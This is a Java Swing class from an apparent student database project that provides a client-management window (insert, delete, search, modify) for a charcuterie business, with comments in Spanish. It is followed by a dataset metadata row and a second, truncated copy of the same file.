import java.util.Hashtable;
import java.util.ArrayList;
import java.util.Iterator;
/*Campos optativos: localizacion, email, web, p.contacto*/
/*NOTA: Tenemos que implementar un boton para los pedidos*/
/**
*
* @author hadden
*/
public class Clientes extends javax.swing.JFrame {
/*Variables de la ventana*/
DefaultTableModel m; //Modelo de la tabla
String cols[] = new String [] {"cif", "nombre", "*localizacion", "tfno", "*email", "*web", "*P.Contacto", "departamento", "eliminado"};
Vector vCol; //Vector en el que almaceno las columnas de la tabla
/*Columnas*/
private final int COLS = 9;
private final int CIF = 0;
private final int NOMBRE = 1;
private final int LOCALIZACION = 2;
private final int TFNO = 3;
private final int EMAIL = 4;
private final int WEB = 5;
private final int CONTACTO = 6;
private final int DEPARTAMENTO = 7;
private final int ELIMINADO = 8;
//Ventana de pedidos que tendremos que abrir
private Pedidos vPedidosCli;
/** Creates new form Clientes */
public Clientes() {
vCol = new Vector();
for(int i=0; i<COLS; i++)
vCol.addElement(cols[i]);
initComponents();
//ocultar();
m = (DefaultTableModel)jTable1.getModel(); //Aqui tendremos el modelo de nuestra tabla
/*Configuracion de la ventana*/
this.setSize(900,400);
//this.setVisible(true);
this.setTitle("Ventana de Clientes");
this.setResizable(false);
}
private void ocultar(){
pedidos.setVisible(false);
}
public void setPedidosCli(Pedidos v){
vPedidosCli = v;
}
/*Abre la ventana representando los clientes que hay en la bd central*/
public void visualiza(int zona){
//TODO TEST
Vector v;
//public Vector buscar(String cif, int zona)
v = (Vector)new MantenimientoDB.Clientes().buscar("-1", zona);
if(v!=null){
db2table(v);
this.setVisible(true);
}else
System.out.println("Se ha producido un error en la busqueda");
}
private void db2table(Vector v){
//TODO TEST
if(v.size()!=0){
String clase;
//System.out.println("El size del vector es: "+ v.size());
/*Definimos tantas variables como tipos pueda tener la fila que vamos a recibir*/
Central.CentralClientes crow;
PuntoDeVenta.PVClientes pvrow;
Vector rows = new Vector();
int i = 0;
String cif; //Sera necesario para indexar las ventas
//Recorremos todas filas que nos haya proporcionado la base de datos
while (i < v.size()){
/*ADVERTENCIA: Tenemos que poner un try-catch para poder soportar la situacion en la que uno de los campos
que este en la BD sea null igual que en el caso de los jefes en la ventana Empleados*/
clase = v.elementAt(i).getClass().getName(); //Recibimos el nombre de la clase de la fila
if(clase.endsWith("Central.CentralClientes")){
crow = (Central.CentralClientes)v.elementAt(i);
Vector vfields = new Vector();
/*La secuencia de recepcion de los campos tendra que coincidir con el orden en el
que se representen en la tabla*/
/*{"cif", "nombre", "localizacion", "tfno", "email", "web", "P.Contacto", "departamento", "eliminado"}*/
cif = crow.getCif();
vfields.addElement(cif);
vfields.addElement(crow.getNombre());
vfields.addElement(crow.getLocalizacion());
vfields.addElement(crow.getTfno());
vfields.addElement(crow.getEmail());
vfields.addElement(crow.getWeb());
vfields.addElement(crow.getPersContacto());
//vfields.addElement(new Integer(((Central.CentralPuntoDistribucion)crow.getDepartamento()).getZona()));
int zo = crow.getDepartamento().getZona();
vfields.addElement(new Integer(zo));
vfields.addElement(new Boolean(crow.getEliminado()));
//No tiene pedidos!!!
rows.addElement(vfields);
}else if(clase.endsWith("PuntoDeVenta.PVClientes")){
/*La clase PuntoDeVenta.PVClientes no tiene departamento porque como el cliente esta asignado a su punto de venta*/
/*La clase PuntoDeVenta.PVClientes tiene pedidos que NO tiene la clase Central.CentralClientes*/
pvrow = (PuntoDeVenta.PVClientes)v.elementAt(i);
Vector vfields = new Vector();
cif = pvrow.getCif();
vfields.addElement(cif);
vfields.addElement(pvrow.getNombre());
vfields.addElement(pvrow.getLocalizacion());
vfields.addElement(pvrow.getTfno());
vfields.addElement(pvrow.getEmail());
vfields.addElement(pvrow.getWeb());
vfields.addElement(pvrow.getPersContacto());
vfields.addElement(new Boolean(pvrow.getEliminado()));
rows.addElement(vfields); //Introducimos la fila en el vector de filas
}
i++;
}
m.setDataVector(rows, vCol);
}else
out.setText("No hay clientes en la BD");
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
private void initComponents() {//GEN-BEGIN:initComponents
insertar = new javax.swing.JButton();
eliminar = new javax.swing.JButton();
buscar = new javax.swing.JButton();
modificar = new javax.swing.JButton();
suma = new javax.swing.JButton();
menos = new javax.swing.JButton();
limpiar = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
ncif = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
out = new javax.swing.JTextField();
jLabel2 = new javax.swing.JLabel();
aceptar = new javax.swing.JButton();
pedidos = new javax.swing.JButton();
getContentPane().setLayout(null);
addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent evt) {
exitForm(evt);
}
});
insertar.setText("Insertar");
insertar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
insertarActionPerformed(evt);
}
});
getContentPane().add(insertar);
insertar.setBounds(40, 40, 80, 29);
eliminar.setText("Eliminar");
eliminar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
eliminarActionPerformed(evt);
}
});
getContentPane().add(eliminar);
eliminar.setBounds(40, 100, 80, 29);
buscar.setText("Buscar");
buscar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buscarActionPerformed(evt);
}
});
getContentPane().add(buscar);
buscar.setBounds(40, 160, 75, 29);
modificar.setText("Modificar");
modificar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
modificarActionPerformed(evt);
}
});
getContentPane().add(modificar);
modificar.setBounds(40, 220, 90, 29);
suma.setText("+");
suma.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
sumaActionPerformed(evt);
}
});
getContentPane().add(suma);
suma.setBounds(240, 290, 40, 29);
menos.setText("-");
menos.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
menosActionPerformed(evt);
}
});
getContentPane().add(menos);
menos.setBounds(280, 290, 40, 29);
limpiar.setText("Limpiar");
limpiar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
limpiarActionPerformed(evt);
}
});
getContentPane().add(limpiar);
limpiar.setBounds(450, 290, 80, 29);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null, null, null, null, null}
},
new String [] {
"cif", "nombre", "*localizacion", "tfno", "*email", "*web", "*P. Contacto", "departamento", "eliminado"
}
) {
Class[] types = new Class [] {
java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.Integer.class, java.lang.Boolean.class
};
boolean[] canEdit = new boolean [] {
true, true, true, true, true, true, true, false, true
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
public boolean isCellEditable(int rowIndex, int columnIndex) {
return canEdit [columnIndex];
}
});
jScrollPane1.setViewportView(jTable1);
getContentPane().add(jScrollPane1);
jScrollPane1.setBounds(180, 20, 700, 250);
getContentPane().add(ncif);
ncif.setBounds(30, 280, 100, 22);
jLabel1.setText("Nuevo cif:");
getContentPane().add(jLabel1);
jLabel1.setBounds(30, 260, 80, 16);
getContentPane().add(out);
out.setBounds(220, 340, 540, 22);
jLabel2.setText("Estado:");
getContentPane().add(jLabel2);
jLabel2.setBounds(140, 340, 50, 16);
aceptar.setText("Aceptar");
aceptar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
aceptarActionPerformed(evt);
}
});
getContentPane().add(aceptar);
aceptar.setBounds(710, 290, 76, 29);
pedidos.setText("Pedidos");
pedidos.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
pedidosActionPerformed(evt);
}
});
getContentPane().add(pedidos);
pedidos.setBounds(40, 320, 80, 29);
pack();
}//GEN-END:initComponents
private void pedidosActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_pedidosActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
try{
String cif = ((String)jTable1.getValueAt(row, CIF)).trim();
vPedidosCli.visualiza(cif, "-1", "-1");
}catch(NullPointerException nu){
out.setText("Error en la introduccion de los datos");
}
}else
out.setText("Error en la fila seleccionada");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_pedidosActionPerformed
private void aceptarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_aceptarActionPerformed
// TODO TEST
out.setText("");
ncif.setText("");
setVisible(false);
}//GEN-LAST:event_aceptarActionPerformed
private void buscarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buscarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public Vector buscar(String cif){
try{
String cif;
Vector v;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
if(!cif.equals("")){
v = new MantenimientoDB.Clientes().buscar(cif, -1);
if(v!=null){
if(cif.equals("-1"))
out.setText("Clientes encontrados con exito");
else
out.setText("Cliente encontrado con exito");
db2table(v);
}else
out.setText("Busqueda sin resultados");
}else
out.setText("No se puede buscar el cif vacio");
}catch(NullPointerException nu){
out.setText("Error al seleccionar el cif");
}
}else
out.setText("Error fila incorrecta");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_buscarActionPerformed
private void eliminarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_eliminarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int eliminar(String cif)
try{
String cif;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
Boolean eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
if(!cif.equals("")){
if(eliminado.booleanValue()==false){
if((new MantenimientoDB.Clientes().eliminar(cif))==1){
m.setValueAt(new Boolean(true), row, ELIMINADO);
out.setText("Eliminacion realizada con exito");
}else
out.setText("Eliminacion erronea");
}else
out.setText("No se puede eliminar un cliente eliminado");
}else
out.setText("No es posible eliminar el cif vacio");
}catch(NullPointerException nu){
out.setText("Error en el cif introducido");
}
}else
out.setText("Fila seleccionada no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_eliminarActionPerformed
private void insertarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_insertarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int insertar(String cif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, int zona)
/*Campos optativos: email, web, Pers.Contacto, localizacion*/
/*Campos optativos: localizacion, email, web, p.contacto*/
String email, web, contacto, localizacion; //Tenemos que declarar los strings aqui porque sino se enfadan los catch's
try{
email = ((String)jTable1.getValueAt(row, EMAIL)).trim();
}catch(NullPointerException nu){
email = ""; //Se crea implicitamente un objeto String
m.setValueAt(email, row, EMAIL);
out.setText("Email por defecto");
}
try{
web = ((String)jTable1.getValueAt(row, WEB)).trim();
}catch(NullPointerException nu){
web = "";
m.setValueAt(web, row, WEB);
out.setText("Web por defecto");
}
try{
contacto = ((String)jTable1.getValueAt(row, CONTACTO)).trim();
}catch(NullPointerException nu){
contacto = "";
m.setValueAt(contacto, row, CONTACTO);
out.setText("Contacto por defecto");
}
try{
localizacion = ((String)jTable1.getValueAt(row, LOCALIZACION)).trim();
}catch(NullPointerException nu){
localizacion = "";
m.setValueAt(localizacion, row, LOCALIZACION);
out.setText("Localizacion por defecto");
}
try{
String cif, nombre, tfno;
Boolean eliminado;
Integer zona;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
nombre = ((String)jTable1.getValueAt(row, NOMBRE)).trim();
tfno = ((String)jTable1.getValueAt(row, TFNO)).trim();
eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
if(eliminado == null){
eliminado = new Boolean(false);
m.setValueAt(eliminado, row, ELIMINADO);
}
//zona = (Integer)jTable1.getValueAt(row, DEPARTAMENTO);
//if(zona != null){
//public int insertar(String cif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, boolean eliminado)
if((new MantenimientoDB.Clientes().insertar(cif, nombre, localizacion, tfno, email, web, contacto, eliminado.booleanValue()))==1){
out.setText("Insercion realizada con exito");
}else{
out.setText("Insercion erronea");
//Dejamos la linea por si ha habido algun error de escritura
}
/*}else
out.setText("No se ha insertado el departamento");*/
}catch(NullPointerException nu){
out.setText("Error en la introduccion de datos");
}
}else
out.setText("Error fila no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_insertarActionPerformed
/*Cuando implementemos la ventana para PuntoDeVenta de clientes tendremos que tener en cuenta los pedidos del Cliente*/
private void modificarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_modificarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int modificar(String antiguoCif, String nuevoCif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, int zona)
String oldCif, newCif, nombre, localizacion, tfno, email, web, contacto;
Boolean eliminado;
Integer zona;
try{
oldCif = ((String)jTable1.getValueAt(row, CIF)).trim();
//System.out.println("oldCif: '"+oldCif+"'");
nombre = ((String)jTable1.getValueAt(row, NOMBRE)).trim();
//System.out.println("nombre: '"+nombre+"'");
localizacion = ((String)jTable1.getValueAt(row, LOCALIZACION)).trim();
//System.out.println("localizacion: '"+localizacion+"'");
tfno = ((String)jTable1.getValueAt(row, TFNO)).trim();
//System.out.println("Tfno: '"+tfno+"'");
email = ((String)jTable1.getValueAt(row, EMAIL)).trim();
//System.out.println("Email: '"+email+"'");
web = ((String)jTable1.getValueAt(row, WEB)).trim();
//System.out.println("Web: '"+web+"'");
contacto = ((String)jTable1.getValueAt(row, CONTACTO)).trim();
if(contacto == null){
contacto = "Fiesta1";
System.out.println("Contacto es null");
}
eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
/*if(eliminado == null)
System.out.println("Eliminado es null");*/
//zona = (Integer)jTable1.getValueAt(row, DEPARTAMENTO);
/*if(zona == null)
System.out.println("Zona es null");*/
newCif = ncif.getText();
if(!newCif.equals("")){
//public int modificar(String antiguoCif, String nuevoCif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, boolean eliminado)
//if(zona != null){
if((new MantenimientoDB.Clientes().modificar(oldCif, newCif, nombre, localizacion, tfno, email, web, contacto, eliminado.booleanValue()))==1){
if(oldCif != newCif)
m.setValueAt(newCif, row, CIF);
out.setText("Modificacion realizada con exito");
ncif.setText("");
}else
out.setText("Error en la modificacion");
/*}else
out.setText("No tenemos una zona valida");*/
}else
out.setText("Nuevo cif incorrecto");
}catch(NullPointerException nu){
out.setText("Error en la recepcion de los datos");
contacto = "fiesta2";
System.out.println("Contacto: '"+contacto+"'");
}
}else
out.setText("Error fila no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_modificarActionPerformed
private void limpiarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_limpiarActionPerformed
// TODO TEST
ncif.setText("");//Limpiamos el contenido del nuevo cif
Vector v = new Vector();
v.addElement(null); //Cada elemento del vector que le pasamos como dato a setDataVector es una fila!!!
m.setDataVector(v, vCol);
out.setText("Tabla limpiada!");
}//GEN-LAST:event_limpiarActionPerformed
private void menosActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_menosActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
try{
m.removeRow(jTable1.getSelectedRow());
}catch(ArrayIndexOutOfBoundsException ai){
System.out.println("No hay fila seleccionada");
}
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_menosActionPerformed
private void sumaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_sumaActionPerformed
// TODO TEST
Vector v = new Vector();
v.addElement(null);
m.addRow(v);
}//GEN-LAST:event_sumaActionPerformed
/** Exit the Application */
private void exitForm(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_exitForm
System.exit(0);
}//GEN-LAST:event_exitForm
/**
* @param args the command line arguments
*/
/*public static void main(String args[]) {
new Clientes().show();
}*/
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton aceptar;
private javax.swing.JButton buscar;
private javax.swing.JButton eliminar;
private javax.swing.JButton insertar;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JButton limpiar;
private javax.swing.JButton menos;
private javax.swing.JButton modificar;
private javax.swing.JTextField ncif;
private javax.swing.JTextField out;
private javax.swing.JButton pedidos;
private javax.swing.JButton suma;
// End of variables declaration//GEN-END:variables
}
| neklaf/unizar | cps/bda/src/charcuteriapv/src/interfaz/clientes.java | 7,950 | //zona = (Integer)jTable1.getValueAt(row, DEPARTAMENTO);
| line_comment | nl | /*
* Clientes.java
*
* Created on 11 de marzo de 2005, 11:28
*/
/*NOTA: Como es el ifaz del nodo central no tenemos que poner los pedidos pero en el ifaz del punto de venta SI!!*/
/*NOTA: tenemos que llamar desde un boton a la ventana de los pedidos (en el PV!)*/
package Interfaz;
import java.util.Vector;
import javax.swing.table.DefaultTableModel;
import javax.swing.JTable;
import java.util.Hashtable;
import java.util.ArrayList;
import java.util.Iterator;
/*Campos optativos: localizacion, email, web, p.contacto*/
/*NOTA: Tenemos que implementar un boton para los pedidos*/
/**
*
* @author hadden
*/
public class Clientes extends javax.swing.JFrame {
/*Variables de la ventana*/
DefaultTableModel m; //Modelo de la tabla
String cols[] = new String [] {"cif", "nombre", "*localizacion", "tfno", "*email", "*web", "*P.Contacto", "departamento", "eliminado"};
Vector vCol; //Vector en el que almaceno las columnas de la tabla
/*Columnas*/
private final int COLS = 9;
private final int CIF = 0;
private final int NOMBRE = 1;
private final int LOCALIZACION = 2;
private final int TFNO = 3;
private final int EMAIL = 4;
private final int WEB = 5;
private final int CONTACTO = 6;
private final int DEPARTAMENTO = 7;
private final int ELIMINADO = 8;
//Ventana de pedidos que tendremos que abrir
private Pedidos vPedidosCli;
/** Creates new form Clientes */
public Clientes() {
vCol = new Vector();
for(int i=0; i<COLS; i++)
vCol.addElement(cols[i]);
initComponents();
//ocultar();
m = (DefaultTableModel)jTable1.getModel(); //Aqui tendremos el modelo de nuestra tabla
/*Configuracion de la ventana*/
this.setSize(900,400);
//this.setVisible(true);
this.setTitle("Ventana de Clientes");
this.setResizable(false);
}
private void ocultar(){
pedidos.setVisible(false);
}
public void setPedidosCli(Pedidos v){
vPedidosCli = v;
}
/*Abre la ventana representando los clientes que hay en la bd central*/
public void visualiza(int zona){
//TODO TEST
Vector v;
//public Vector buscar(String cif, int zona)
v = (Vector)new MantenimientoDB.Clientes().buscar("-1", zona);
if(v!=null){
db2table(v);
this.setVisible(true);
}else
System.out.println("Se ha producido un error en la busqueda");
}
private void db2table(Vector v){
//TODO TEST
if(v.size()!=0){
String clase;
//System.out.println("El size del vector es: "+ v.size());
/*Definimos tantas variables como tipos pueda tener la fila que vamos a recibir*/
Central.CentralClientes crow;
PuntoDeVenta.PVClientes pvrow;
Vector rows = new Vector();
int i = 0;
String cif; //Sera necesario para indexar las ventas
//Recorremos todas filas que nos haya proporcionado la base de datos
while (i < v.size()){
/*ADVERTENCIA: Tenemos que poner un try-catch para poder soportar la situacion en la que uno de los campos
que este en la BD sea null igual que en el caso de los jefes en la ventana Empleados*/
clase = v.elementAt(i).getClass().getName(); //Recibimos el nombre de la clase de la fila
if(clase.endsWith("Central.CentralClientes")){
crow = (Central.CentralClientes)v.elementAt(i);
Vector vfields = new Vector();
/*La secuencia de recepcion de los campos tendra que coincidir con el orden en el
que se representen en la tabla*/
/*{"cif", "nombre", "localizacion", "tfno", "email", "web", "P.Contacto", "departamento", "eliminado"}*/
cif = crow.getCif();
vfields.addElement(cif);
vfields.addElement(crow.getNombre());
vfields.addElement(crow.getLocalizacion());
vfields.addElement(crow.getTfno());
vfields.addElement(crow.getEmail());
vfields.addElement(crow.getWeb());
vfields.addElement(crow.getPersContacto());
//vfields.addElement(new Integer(((Central.CentralPuntoDistribucion)crow.getDepartamento()).getZona()));
int zo = crow.getDepartamento().getZona();
vfields.addElement(new Integer(zo));
vfields.addElement(new Boolean(crow.getEliminado()));
//No tiene pedidos!!!
rows.addElement(vfields);
}else if(clase.endsWith("PuntoDeVenta.PVClientes")){
/*La clase PuntoDeVenta.PVClientes no tiene departamento porque como el cliente esta asignado a su punto de venta*/
/*La clase PuntoDeVenta.PVClientes tiene pedidos que NO tiene la clase Central.CentralClientes*/
pvrow = (PuntoDeVenta.PVClientes)v.elementAt(i);
Vector vfields = new Vector();
cif = pvrow.getCif();
vfields.addElement(cif);
vfields.addElement(pvrow.getNombre());
vfields.addElement(pvrow.getLocalizacion());
vfields.addElement(pvrow.getTfno());
vfields.addElement(pvrow.getEmail());
vfields.addElement(pvrow.getWeb());
vfields.addElement(pvrow.getPersContacto());
vfields.addElement(new Boolean(pvrow.getEliminado()));
rows.addElement(vfields); //Introducimos la fila en el vector de filas
}
i++;
}
m.setDataVector(rows, vCol);
}else
out.setText("No hay clientes en la BD");
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
private void initComponents() {//GEN-BEGIN:initComponents
insertar = new javax.swing.JButton();
eliminar = new javax.swing.JButton();
buscar = new javax.swing.JButton();
modificar = new javax.swing.JButton();
suma = new javax.swing.JButton();
menos = new javax.swing.JButton();
limpiar = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
ncif = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
out = new javax.swing.JTextField();
jLabel2 = new javax.swing.JLabel();
aceptar = new javax.swing.JButton();
pedidos = new javax.swing.JButton();
getContentPane().setLayout(null);
addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent evt) {
exitForm(evt);
}
});
insertar.setText("Insertar");
insertar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
insertarActionPerformed(evt);
}
});
getContentPane().add(insertar);
insertar.setBounds(40, 40, 80, 29);
eliminar.setText("Eliminar");
eliminar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
eliminarActionPerformed(evt);
}
});
getContentPane().add(eliminar);
eliminar.setBounds(40, 100, 80, 29);
buscar.setText("Buscar");
buscar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buscarActionPerformed(evt);
}
});
getContentPane().add(buscar);
buscar.setBounds(40, 160, 75, 29);
modificar.setText("Modificar");
modificar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
modificarActionPerformed(evt);
}
});
getContentPane().add(modificar);
modificar.setBounds(40, 220, 90, 29);
suma.setText("+");
suma.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
sumaActionPerformed(evt);
}
});
getContentPane().add(suma);
suma.setBounds(240, 290, 40, 29);
menos.setText("-");
menos.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
menosActionPerformed(evt);
}
});
getContentPane().add(menos);
menos.setBounds(280, 290, 40, 29);
limpiar.setText("Limpiar");
limpiar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
limpiarActionPerformed(evt);
}
});
getContentPane().add(limpiar);
limpiar.setBounds(450, 290, 80, 29);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null, null, null, null, null}
},
new String [] {
"cif", "nombre", "*localizacion", "tfno", "*email", "*web", "*P. Contacto", "departamento", "eliminado"
}
) {
Class[] types = new Class [] {
java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.Integer.class, java.lang.Boolean.class
};
boolean[] canEdit = new boolean [] {
true, true, true, true, true, true, true, false, true
};
public Class getColumnClass(int columnIndex) {
return types [columnIndex];
}
public boolean isCellEditable(int rowIndex, int columnIndex) {
return canEdit [columnIndex];
}
});
jScrollPane1.setViewportView(jTable1);
getContentPane().add(jScrollPane1);
jScrollPane1.setBounds(180, 20, 700, 250);
getContentPane().add(ncif);
ncif.setBounds(30, 280, 100, 22);
jLabel1.setText("Nuevo cif:");
getContentPane().add(jLabel1);
jLabel1.setBounds(30, 260, 80, 16);
getContentPane().add(out);
out.setBounds(220, 340, 540, 22);
jLabel2.setText("Estado:");
getContentPane().add(jLabel2);
jLabel2.setBounds(140, 340, 50, 16);
aceptar.setText("Aceptar");
aceptar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
aceptarActionPerformed(evt);
}
});
getContentPane().add(aceptar);
aceptar.setBounds(710, 290, 76, 29);
pedidos.setText("Pedidos");
pedidos.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
pedidosActionPerformed(evt);
}
});
getContentPane().add(pedidos);
pedidos.setBounds(40, 320, 80, 29);
pack();
}//GEN-END:initComponents
private void pedidosActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_pedidosActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
try{
String cif = ((String)jTable1.getValueAt(row, CIF)).trim();
vPedidosCli.visualiza(cif, "-1", "-1");
}catch(NullPointerException nu){
out.setText("Error en la introduccion de los datos");
}
}else
out.setText("Error en la fila seleccionada");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_pedidosActionPerformed
private void aceptarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_aceptarActionPerformed
// TODO TEST
out.setText("");
ncif.setText("");
setVisible(false);
}//GEN-LAST:event_aceptarActionPerformed
private void buscarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buscarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public Vector buscar(String cif){
try{
String cif;
Vector v;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
if(!cif.equals("")){
v = new MantenimientoDB.Clientes().buscar(cif, -1);
if(v!=null){
if(cif.equals("-1"))
out.setText("Clientes encontrados con exito");
else
out.setText("Cliente encontrado con exito");
db2table(v);
}else
out.setText("Busqueda sin resultados");
}else
out.setText("No se puede buscar el cif vacio");
}catch(NullPointerException nu){
out.setText("Error al seleccionar el cif");
}
}else
out.setText("Error fila incorrecta");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_buscarActionPerformed
private void eliminarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_eliminarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int eliminar(String cif)
try{
String cif;
cif = ((String)jTable1.getValueAt(row, CIF)).trim();
Boolean eliminado = (Boolean)jTable1.getValueAt(row, ELIMINADO);
if(!cif.equals("")){
if(eliminado.booleanValue()==false){
if((new MantenimientoDB.Clientes().eliminar(cif))==1){
m.setValueAt(new Boolean(true), row, ELIMINADO);
out.setText("Eliminacion realizada con exito");
}else
out.setText("Eliminacion erronea");
}else
out.setText("No se puede eliminar un cliente eliminado");
}else
out.setText("No es posible eliminar el cif vacio");
}catch(NullPointerException nu){
out.setText("Error en el cif introducido");
}
}else
out.setText("Fila seleccionada no valida");
}else
out.setText("Problema en la configuracion de la ventana");
}//GEN-LAST:event_eliminarActionPerformed
private void insertarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_insertarActionPerformed
// TODO TEST
if(!jTable1.getColumnSelectionAllowed() && jTable1.getRowSelectionAllowed()){
int row = jTable1.getSelectedRow();
if(row >= 0){
//public int insertar(String cif, String nombre, String localizacion, String tfno, String email, String web, String persContacto, int zona)
/*Campos optativos: email, web, Pers.Contacto, localizacion*/
/*Campos optativos: localizacion, email, web, p.contacto*/
String email, web, contacto, localizacion; //Tenemos que declarar los strings aqui porque sino se enfadan los catch's
try{
email = ((String)jTable1.getValueAt(row, EMAIL)).trim();
}catch(NullPointerException nu){
email = ""; //Se crea implicitamente un objeto String
m.setValueAt(email, row, EMAIL);
out.setText("Email por defecto");
}
try{
web = ((String)jTable1.getValueAt(row, WEB)).trim();
}catch(NullPointerException nu){
web = "";
m.setValueAt(web, row, WEB);
out.setText("Web por defecto");
}
try{
contacto = ((String)jTable1.getValueAt(row, CONTACTO)).trim();
}catch(NullPointerException nu){
contacto = "";
m.setValueAt(contacto, row, CONTACTO);
out.setText("Contacto por defecto");
}
try{
localizacion = ((String)jTable1.getValueAt(row, LOCALIZACION)).trim();
}catch(NullPointerException nu){
localizacion = "";
m.setValueAt(localizacion, row, LOCALIZACION);
